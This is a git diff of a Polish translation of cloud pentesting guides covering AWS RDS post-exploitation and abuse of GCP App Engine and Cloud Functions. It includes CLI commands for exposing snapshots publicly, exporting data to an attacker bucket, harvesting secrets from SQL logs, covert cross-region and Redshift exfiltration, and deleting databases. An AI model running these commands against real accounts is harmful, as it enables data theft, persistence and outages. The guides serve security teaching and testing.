Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-11-26 17:22:32 +00:00
parent 82a71afc80
commit 94f102e77e
18 changed files with 1211 additions and 396 deletions
@@ -4,7 +4,7 @@
## RDS
Więcej informacji znajdziesz:
Aby uzyskać więcej informacji, zobacz:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Więcej informacji znajdziesz:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną** poprzez utworzenie snapshotu DB, a następnie odtworzenie z niego publicznie dostępnej DB.
Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną**, tworząc snapshot DB, a następnie odtwarzając z niego publicznie dostępną DB.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -41,7 +41,7 @@ aws rds modify-db-instance \
### `rds:StopDBCluster` & `rds:StopDBInstance`
Atakujący posiadający uprawnienie `rds:StopDBCluster` lub `rds:StopDBInstance` może wymusić natychmiastowe zatrzymanie instancji RDS lub całego klastra, powodując niedostępność bazy danych, zerwane połączenia oraz przerwanie procesów zależnych od bazy danych.
Aby zatrzymać pojedynczą instancję DB (przykład):
Aby zatrzymać pojedynczą DB instance (przykład):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
@@ -51,9 +51,37 @@ Aby zatrzymać cały klaster DB (przykład):
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
Atakujący, któremu przyznano uprawnienia `rds:Modify*`, może zmieniać krytyczne konfiguracje i zasoby pomocnicze (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) bez bezpośredniego dotykania instancji lub klastra. Zmiany takie jak dostosowanie parametrów połączenia/czasu oczekiwania, zmiana proxy endpointu, modyfikacja, które certificates są zaufane, zmiana logical capacity lub rekonfiguracja subnet group mogą osłabić bezpieczeństwo (otworzyć nowe ścieżki dostępu), przerwać routing i load-balancing, unieważnić polityki replikacji/kopii zapasowych oraz ogólnie pogorszyć dostępność lub możliwość odzyskania. Te modyfikacje mogą również ułatwić indirect data exfiltration lub utrudnić uporządkowane odzyskanie bazy danych po incydencie.
Przenieś lub zmień subnets przypisane do RDS subnet group:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
Zmień niskopoziomowe parametry silnika w cluster parameter group:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`
Atakujący posiadający uprawnienia rds:Restore* może przywrócić całe bazy danych ze snapshotów, automatycznych kopii zapasowych, przywracania do określonego punktu w czasie (PITR), lub plików przechowywanych w S3, tworząc nowe instancje lub klastry wypełnione danymi z wybranego punktu. Te operacje nie nadpisują oryginalnych zasobów — tworzą nowe obiekty zawierające dane historyczne — co pozwala atakującemu uzyskać pełne, funkcjonalne kopie bazy danych (z przeszłych punktów w czasie lub z zewnętrznych plików S3) i wykorzystać je do exfiltrate data, manipulowania zapisami historycznymi lub odtwarzania poprzednich stanów.
Przywróć instancję DB do określonego punktu w czasie:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`
Atakujący, któremu przyznano rds:Delete*, może usuwać zasoby RDS, usuwając DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups oraz powiązane artefakty, powodując natychmiastową przerwę w działaniu usługi, utratę danych, zniszczenie punktów przywracania i utratę dowodów sądowych.
Atakujący z uprawnieniem rds:Delete* może usuwać zasoby RDS, usuwając DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups i powiązane artefakty, powodując natychmiastową przerwę w działaniu usługi, utratę danych, zniszczenie punktów przywracania oraz utratę dowodów śledczych.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot bazy danych** i uczynić go **publicznie** **dostępnym**. Następnie mógłby po prostu utworzyć na swoim koncie DB z tego snapshotu.
Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot DB** i uczynić go **publicznie** **dostępnym**. Następnie mógłby po prostu utworzyć we własnym koncie DB z tego snapshotu.
Jeśli atakujący **nie ma `rds:CreateDBSnapshot`**, nadal może uczynić **inne** utworzone snapshoty **publicznymi**.
Jeśli atakujący **nie posiada `rds:CreateDBSnapshot`**, nadal może uczynić **inne** utworzone snapshots **publiczne**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,11 +117,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać fragmenty plików dziennika instancji RDS**. Jeśli w logach przypadkowo zapisane zostaną dane wrażliwe lub poświadczenia dostępu, atakujący może wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać części plików dziennika instancji RDS**. Jeśli w logach przypadkowo zostaną zapisane dane wrażliwe lub poświadczenia dostępu, atakujący może potencjalnie wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potencjalny wpływ**: Dostęp do wrażliwych informacji lub nieautoryzowane działania z użyciem leaked credentials.
**Potencjalny wpływ**: Dostęp do wrażliwych informacji lub nieautoryzowane działania przy użyciu leaked credentials.
### `rds:DeleteDBInstance`
@@ -113,24 +141,24 @@ Atakujący posiadający to uprawnienie może **wyeksportować snapshot instancji
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potencjalny wpływ**: Dostęp do wrażliwych danych w wyeksportowanym snapshotcie.
**Potential impact**: Dostęp do wrażliwych danych w wyeksportowanym snapshotcie.
### Replikacja zautomatyzowanych backupów między Regionami dla ukrytego przywracania (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Replikacja automatycznych kopii zapasowych między regionami w celu ukrytego przywrócenia (`rds:StartDBInstanceAutomatedBackupsReplication`)
Wykorzystaj replikację zautomatyzowanych backupów między Regionami, aby cicho skopiować zautomatyzowane backupy instancji RDS do innego Regionu AWS i tam je przywrócić. Atakujący może następnie uczynić przywróconą bazę danych publicznie dostępną i zresetować hasło master, aby uzyskać dostęp do danych poza kanałami normalnego monitoringu w Regionie, którego obrońcy mogą nie monitorować.
Wykorzystaj replikację automatycznych kopii zapasowych między regionami, aby cicho zduplikować automatyczne backupy instancji RDS do innego AWS Region i tam je przywrócić. Atakujący może następnie uczynić przywróconą DB publicznie dostępną i zresetować master password, aby uzyskać dostęp do danych out-of-band w Regionie, który obrońcy mogą nie monitorować.
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (opcjonalne sprzątanie)
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (aby udostępnić przywróconą DB)
Impact: Utrzymanie dostępu i eksfiltracja danych poprzez przywrócenie kopii danych produkcyjnych w innym Regionie i udostępnienie ich publicznie przy użyciu poświadczeń kontrolowanych przez atakującego.
Wpływ: Persistence i data exfiltration poprzez przywrócenie kopii danych produkcyjnych do innego Regionu i ich publiczne udostępnienie z użyciem poświadczeń kontrolowanych przez atakującego.
<details>
<summary>Kompletne polecenia CLI (zamień placeholdery)</summary>
<summary>End-to-end CLI (zamień placeholdery)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -199,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Włącz pełne logowanie SQL za pomocą DB parameter groups i exfiltrate via RDS log APIs
### Włącz pełne logowanie SQL za pomocą DB parameter groups i eksfiltruj przez RDS log APIs
Wykorzystaj `rds:ModifyDBParameterGroup` wraz z RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne DB engine credentials). Włącz engine SQL logging i pobierz pliki logów za pomocą `rds:DescribeDBLogFiles` oraz `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zebrania zapytań, które mogą zawierać secrets/PII/JWTs.
Nadużyj `rds:ModifyDBParameterGroup` wraz z RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne poświadczenia DB engine). Włącz engine SQL logging i pobierz pliki logów przez `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zebrania zapytań, które mogą zawierać secrets/PII/JWTs.
Wymagane uprawnienia (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (tylko do przypisania custom parameter group, jeśli instancja używa default one)
- `rds:RebootDBInstance` (dla parametrów wymagających reboot, np. PostgreSQL)
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
Kroki
1) Recon target and current parameter group
1) Recon target i current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Upewnij się, że przypisana jest niestandardowa DB parameter group (nie można edytować domyślnej)
- Jeśli instancja już używa niestandardowej grupy, użyj jej nazwy w następnym kroku.
- W przeciwnym razie utwórz i przypisz jedną pasującą do rodziny silnika:
2) Upewnij się, że dołączony jest niestandardowy DB parameter group (nie można edytować domyślnego)
- Jeśli instancja już używa niestandardowej grupy, użyj ponownie jej nazwy w następnym kroku.
- W przeciwnym razie utwórz i dołącz grupę dopasowaną do engine family:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -233,7 +261,7 @@ aws rds modify-db-instance \
# Wait until status becomes "available"
```
3) Włącz szczegółowe logowanie SQL
- Silniki MySQL (natychmiastowe / bez restartu):
- MySQL engines (natychmiast / bez restartu):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Pozwól obciążeniu działać (lub wygeneruj zapytania). Polecenia zostaną zapisane w logach plików silnika
4) Pozwól obciążeniu działać (lub wygeneruj zapytania). Polecenia zostaną zapisane do plików logów silnika
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Odszukaj i pobierz logi (nie są wymagane poświadczenia DB)
5) Odkryj i pobierz logi (nie są wymagane poświadczenia DB)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -282,7 +310,7 @@ Przykładowe dowody (ocenzurowane):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Czyszczenie
- Przywróć parametry do wartości domyślnych i uruchom ponownie system, jeśli to konieczne:
- Przywróć parametry do wartości domyślnych i, w razie potrzeby, uruchom ponownie:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Impact: Post-exploitation — dostęp do danych poprzez przechwytywanie wszystkich poleceń SQL aplikacji za pośrednictwem AWS APIs (no DB creds), co może prowadzić do leaking secrets, JWTs i PII.
Wpływ: Dostęp do danych po post-exploitation poprzez przechwytywanie wszystkich zapytań SQL aplikacji za pomocą AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Nadużyj RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez ingerencji w poświadczenia instancji primary. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia primary) oraz opcjonalnie wystawić replikę publicznie w celu exfiltrate data.
Wykorzystaj RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez używania poświadczeń instancji primary. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia instancji primary) i opcjonalnie udostępnić replikę publicznie, aby exfiltrate data.
Permissions needed (minimum):
Wymagane uprawnienia (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Impact: Dostęp tylko do odczytu do danych produkcyjnych przez replikę z poświadczeniami kontrolowanymi przez atakującego; mniejsze prawdopodobieństwo wykrycia, ponieważ primary pozostaje nienaruszony, a replikacja trwa.
Wpływ: Dostęp tylko do odczytu do danych produkcyjnych przez replikę z poświadczeniami kontrolowanymi przez atakującego; niższe prawdopodobieństwo wykrycia, ponieważ instancja primary pozostaje nietknięta i replikacja trwa.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -341,12 +369,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Przykładowe dowody (MySQL):
- Status repliki DB: `available`, replikacja odczytu: `replicating`
- Pomyślne połączenie z nowym hasłem i `@@read_only=1` potwierdzające dostęp tylko do odczytu z repliki.
- Status repliki DB: `available`, replikacja do odczytu: `replicating`
- Pomyślne połączenie z nowym hasłem i `@@read_only=1`, potwierdzające dostęp do repliki tylko do odczytu.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Wykorzystaj RDS Blue/Green do sklonowania produkcyjnej bazy danych do ciągle replikowanego, tylko do odczytu środowiska green. Następnie zresetuj poświadczenia mastera dla green, aby uzyskać dostęp do danych bez dotykania instancji blue (prod). Jest to bardziej dyskretne niż snapshot sharing i często omija monitoring skupiony wyłącznie na źródle.
Wykorzystaj RDS Blue/Green do sklonowania produkcyjnej bazy danych do ciągłego, replikowanego środowiska green tylko do odczytu. Następnie zresetuj poświadczenia konta głównego (master) w green, aby uzyskać dostęp do danych bez modyfikowania instancji blue (prod). Jest to bardziej dyskretne niż snapshot sharing i często omija monitorowanie skupione wyłącznie na źródle.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,22 +421,22 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Wpływ: Tylko do odczytu, ale pełny dostęp do danych w niemal rzeczywistym klonie środowiska produkcyjnego bez modyfikowania instancji produkcyjnej. Przydatne do dyskretnego wyodrębniania danych i analizy offline.
Wpływ: dostęp tylko do odczytu, ale pełny dostęp do danych z niemal rzeczywistej kopii produkcji bez modyfikowania instancji produkcyjnej. Przydatne do ukradkowego wydobywania danych i analizy offline.
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
### SQL poza kanałem (out-of-band) przez RDS Data API poprzez włączenie HTTP endpoint + zresetowanie hasła master
Wykorzystaj Aurora, aby włączyć RDS Data API HTTP endpoint na docelowym klastrze, zresetować master password na wartość, którą kontrolujesz, i wykonywać SQL przez HTTPS (nie jest wymagana ścieżka sieciowa VPC). Działa na silnikach Aurora, które obsługują Data API/EnableHttpEndpoint (np. Aurora MySQL 8.0 provisioned; niektóre wersje Aurora PostgreSQL/MySQL).
Wykorzystaj Aurora, aby włączyć HTTP endpoint RDS Data API na docelowym klastrze, zresetować hasło master do wartości, którą kontrolujesz, i wykonywać SQL przez HTTPS (nie wymaga ścieżki sieciowej VPC). Działa na silnikach Aurora, które obsługują Data API/EnableHttpEndpoint (np. Aurora MySQL 8.0 provisioned; niektóre wersje Aurora PostgreSQL/MySQL).
Uprawnienia (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Wpływ: Obejście segmentacji sieci i eksfiltracja danych przez AWS APIs bez bezpośredniej łączności VPC z DB.
Wpływ: obejście segmentacji sieciowej i eksfiltracja danych za pomocą AWS APIs bez bezpośredniej łączności VPC z DB.
<details>
<summary>Pełny przebieg CLI (Aurora MySQL example)</summary>
<summary>End-to-end CLI (przykład Aurora MySQL)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -461,21 +489,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
Uwagi:
- Jeśli multi-statement SQL jest odrzucany przez rds-data, wykonaj oddzielne wywołania execute-statement.
- Jeśli zapytanie SQL zawierające wiele instrukcji (multi-statement) jest odrzucane przez rds-data, wykonaj oddzielne wywołania execute-statement.
- Dla silników, gdzie modify-db-cluster --enable-http-endpoint nie ma efektu, użyj rds enable-http-endpoint --resource-arn.
- Upewnij się, że silnik i wersja faktycznie obsługują Data API; w przeciwnym razie HttpEndpointEnabled pozostanie False.
- Upewnij się, że engine/version faktycznie obsługuje Data API; w przeciwnym razie HttpEndpointEnabled pozostanie False.
### Pozyskiwanie poświadczeń DB przez sekrety uwierzytelniające RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### Pozyskaj poświadczenia DB przez sekrety uwierzytelniające RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Nadużyj konfiguracji RDS Proxy, aby odkryć sekret w Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj sekret, by uzyskać poświadczenia bazy danych. W wielu środowiskach przyznawane jest szerokie `secretsmanager:GetSecretValue`, co czyni to niskokosztowym pivotem do poświadczeń DB. Jeśli sekret używa CMK, źle skonfigurowane uprawnienia KMS mogą również pozwolić na `kms:Decrypt`.
Wykorzystaj konfigurację RDS Proxy, aby odnaleźć secret w Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj ten secret, żeby uzyskać poświadczenia bazy danych. W wielu środowiskach przyznawane szerokie uprawnienia `secretsmanager:GetSecretValue`, co czyni to niskokosztowym punktem przejścia do DB creds. Jeśli secret używa CMK, źle ograniczone uprawnienia KMS mogą także pozwolić na `kms:Decrypt`.
Wymagane uprawnienia (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` dla wskazanego SecretArn
- Opcjonalne, gdy sekret używa CMK: `kms:Decrypt` dla tego klucza
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
Wpływ: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych na proxy; umożliwia bezpośredni dostęp do DB lub dalsze lateral movement.
Wpływ: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych na proxy; umożliwia bezpośredni dostęp do DB lub dalszy ruch boczny.
Kroki
```bash
@@ -509,24 +537,24 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Sprzątanie (laboratorium)
Czyszczenie (lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Skryte ciągłe wyprowadzanie danych przez Aurora zeroETL do Amazon Redshift (rds:CreateIntegration)
### Ukryte ciągłe exfiltration przez Aurora zeroETL do Amazon Redshift (rds:CreateIntegration)
Wykorzystaj integrację Aurora PostgreSQL zeroETL do ciągłej replikacji danych produkcyjnych do Redshift Serverless namespace, którym zarządzasz. Przy permissive Redshift resource policy, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego ARN klastra Aurora, atakujący może utworzyć niemal w czasie rzeczywistym kopię danych bez DB creds, snapshots ani ekspozycji sieciowej.
Wykorzystaj integrację Aurora PostgreSQL zeroETL do ciągłej replikacji danych produkcyjnych do kontrolowanej przez Ciebie przestrzeni nazw Redshift Serverless. Przy luźnej Redshift resource policy, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego Aurora cluster ARN, atakujący może ustanowić niemal w czasie rzeczywistym kopię danych bez DB creds, snapshotów ani ekspozycji sieciowej.
Permissions needed (minimum):
Wymagane uprawnienia (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (do zapytań)
- `rds-data:ExecuteStatement` (opcjonalnie; do wstawienia danych w razie potrzeby)
- `rds-data:ExecuteStatement` (opcjonalnie; do zasiania danych jeśli potrzebne)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
Testowano w: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Utwórz Redshift Serverless namespace + workgroup</summary>
@@ -619,7 +647,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Materializuj i wykonuj zapytania na zreplikowanych danych w Redshift</summary>
<summary>5) Materializuj i wykonuj zapytania do replikowanych danych w Redshift</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -632,12 +660,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
```
</details>
Dowody zaobserwowane podczas testu:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION wskazał integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i stan PendingDbConnectState przed utworzeniem bazy danych.
- Po CREATE DATABASE FROM INTEGRATION, wylistowanie tabel ujawniło schemat ztl i tabelę customers; pobranie z ztl.customers zwróciło 2 wiersze (Alice, Bob).
Dowody zaobserwowane w teście:
- redshift describe-inbound-integrations: Status ACTIVE dla Integration arn:...377a462b-...
- SVV_INTEGRATION pokazał integration_id 377a462b-c42c-4f08-937b-77fe75d98211 oraz stan PendingDbConnectState przed utworzeniem DB.
- Po CREATE DATABASE FROM INTEGRATION, wylistowanie tabel ujawniło schemat ztl i tabelę customers; wykonanie SELECT na ztl.customers zwróciło 2 wiersze (Alice, Bob).
Wpływ: Ciągła, niemal w czasie rzeczywistym exfiltration wybranych tabel Aurora PostgreSQL do Redshift Serverless kontrolowanego przez atakującego, bez użycia poświadczeń bazy danych, backupów ani dostępu sieciowego do klastra źródłowego.
Wpływ: Ciągła, niemal w czasie rzeczywistym eksfiltracja wybranych tabel Aurora PostgreSQL do kontrolowanego przez atakującego Redshift Serverless, bez użycia poświadczeń bazy danych, kopii zapasowych ani dostępu sieciowego do klastra źródłowego.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,36 +12,37 @@ Aby uzyskać informacje o App Engine sprawdź:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
Z tymi uprawnieniami można:
Dzięki tym uprawnieniom można:
- Dodać klucz
- Wyświetlić listę kluczy
- Wyświetlić klucze
- Pobrać klucz
- Usunąć klucz
> [!CAUTION]
> Jednak **nie udało mi się znaleźć żadnego sposobu, by uzyskać te informacje z poziomu cli**, jedynie z **web console**, gdzie trzeba znać **Key type** i **Key name**, albo z a**pp engine running app**.
> Jednak **nie udało mi się znaleźć żadnego sposobu na dostęp do tych informacji z cli**, tylko z **web console**, gdzie trzeba znać **Key type** i **Key name**, albo z działającej aplikacji **app engine**.
>
> Jeśli znasz łatwiejsze sposoby użycia tych uprawnień, wyślij Pull Request!
### `logging.views.access`
Z tym uprawnieniem można **zobaczyć logi aplikacji**:
<details>
<summary>Śledź logi aplikacji</summary>
Dzięki temu uprawnieniu można **zobaczyć logi aplikacji**:
```bash
gcloud app logs tail -s <name>
```
</details>
### Usuwanie usług i wersji
Uprawnienia `appengine.versions.delete`, `appengine.versions.list` i `appengine.services.list` pozwalają na zarządzanie i usuwanie konkretnych wersji aplikacji App Engine, co może wpływać na ruch, jeśli jest on podzielony lub jeśli usunięta zostanie jedyna stabilna wersja. Natomiast uprawnienia `appengine.services.delete` i `appengine.services.list` pozwalają na listowanie i usuwanie całych usług — działanie, które natychmiast przerywa cały ruch i dostępność powiązanych wersji.
```bash
gcloud app versions delete <VERSION_ID>
gcloud app services delete <SERVICE_NAME>
```
### Odczyt kodu źródłowego
Kod źródłowy wszystkich wersji i usług jest **przechowywany w bucket** o nazwie **`staging.<proj-id>.appspot.com`**. Jeśli masz nad nim uprawnienia zapisu, możesz odczytać kod źródłowy i wyszukać **vulnerabilities** oraz **sensitive information**.
Kod źródłowy wszystkich wersji i usług jest **przechowywany w bucket** o nazwie **`staging.<proj-id>.appspot.com`**. Jeśli masz uprawnienia zapisu, możesz odczytać kod źródłowy i wyszukać **vulnerabilities** i **sensitive information**.
### Modyfikacja kodu źródłowego
Zmodyfikuj kod źródłowy, aby wykraść credentials, jeśli są wysyłane, lub przeprowadzić defacement web attack.
Modyfikuj kod źródłowy, aby wykraść **credentials**, jeśli są przesyłane, lub przeprowadzić **defacement web attack**.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Functions
Znajdź informacje o Cloud Functions w:
Szczegóły dotyczące Cloud Functions znajdziesz w:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,31 @@ Znajdź informacje o Cloud Functions w:
### `cloudfunctions.functions.sourceCodeGet`
Dzięki temu uprawnieniu możesz uzyskać **podpisany URL umożliwiający pobranie kodu źródłowego** funkcji Cloud Function:
<details>
<summary>Pobierz podpisany URL umożliwiający pobranie kodu źródłowego</summary>
Dzięki temu uprawnieniu możesz uzyskać **signed URL umożliwiający pobranie kodu źródłowego** Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
Uprawnienie `cloudfunctions.functions.delete` pozwala tożsamości na całkowite usunięcie Cloud Function, w tym jej kodu, konfiguracji, triggerów oraz powiązania z service accounts.
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration through the bucket
Uprawnienia `storage.objects.get` i `storage.objects.list` pozwalają na listowanie i odczyt obiektów wewnątrz bucketu, a w przypadku Cloud Functions jest to szczególnie istotne, ponieważ każda funkcja przechowuje swój kod źródłowy w automatycznie zarządzanym Google bucketcie, którego nazwa ma format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
### Przechwytywanie żądań Cloud Function
Jeżeli Cloud Function przetwarza poufne informacje przesyłane przez użytkowników (np. passwords lub tokens), przy wystarczających uprawnieniach możesz **zmodyfikować kod źródłowy funkcji i exfiltrate** te informacje.
### Steal Cloud Function Requests
Ponadto, Cloud Functions uruchamiane w python używają **flask** do wystawienia serwera WWW; jeśli w jakiś sposób znajdziesz podatność na code injection w procesie flaks (na przykład podatność SSTI), możliwe jest **nadpisanie function handlera**, który będzie odbierał żądania HTTP dla **malicious function**, która może **exfiltrate the request** zanim przekaże je do prawidłowego handlera.
Jeśli Cloud Function obsługuje poufne informacje przesyłane przez użytkowników (np. hasła lub tokeny), przy wystarczających uprawnieniach możesz **modify the source code of the function and exfiltrate** te informacje.
Co więcej, Cloud Functions uruchomione w pythonie używają **flask** do udostępniania web serwera — jeśli w jakiś sposób znajdziesz code injection vulnerability wewnątrz flaks process (np. SSTI vulnerability), możliwe jest, aby **override the function handler**, który będzie odbierać żądania HTTP, na rzecz **malicious function**, która może **exfiltrate the request** zanim przekaże je do legit handlera.
Na przykład ten kod implementuje atak:
<details>
<summary>Przechwytywanie żądań Cloud Function (Python injection)</summary>
```python
import functions_framework
@@ -132,8 +133,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,20 +4,29 @@
## Cloud Run
Aby uzyskać więcej informacji na temat Cloud Run, sprawdź:
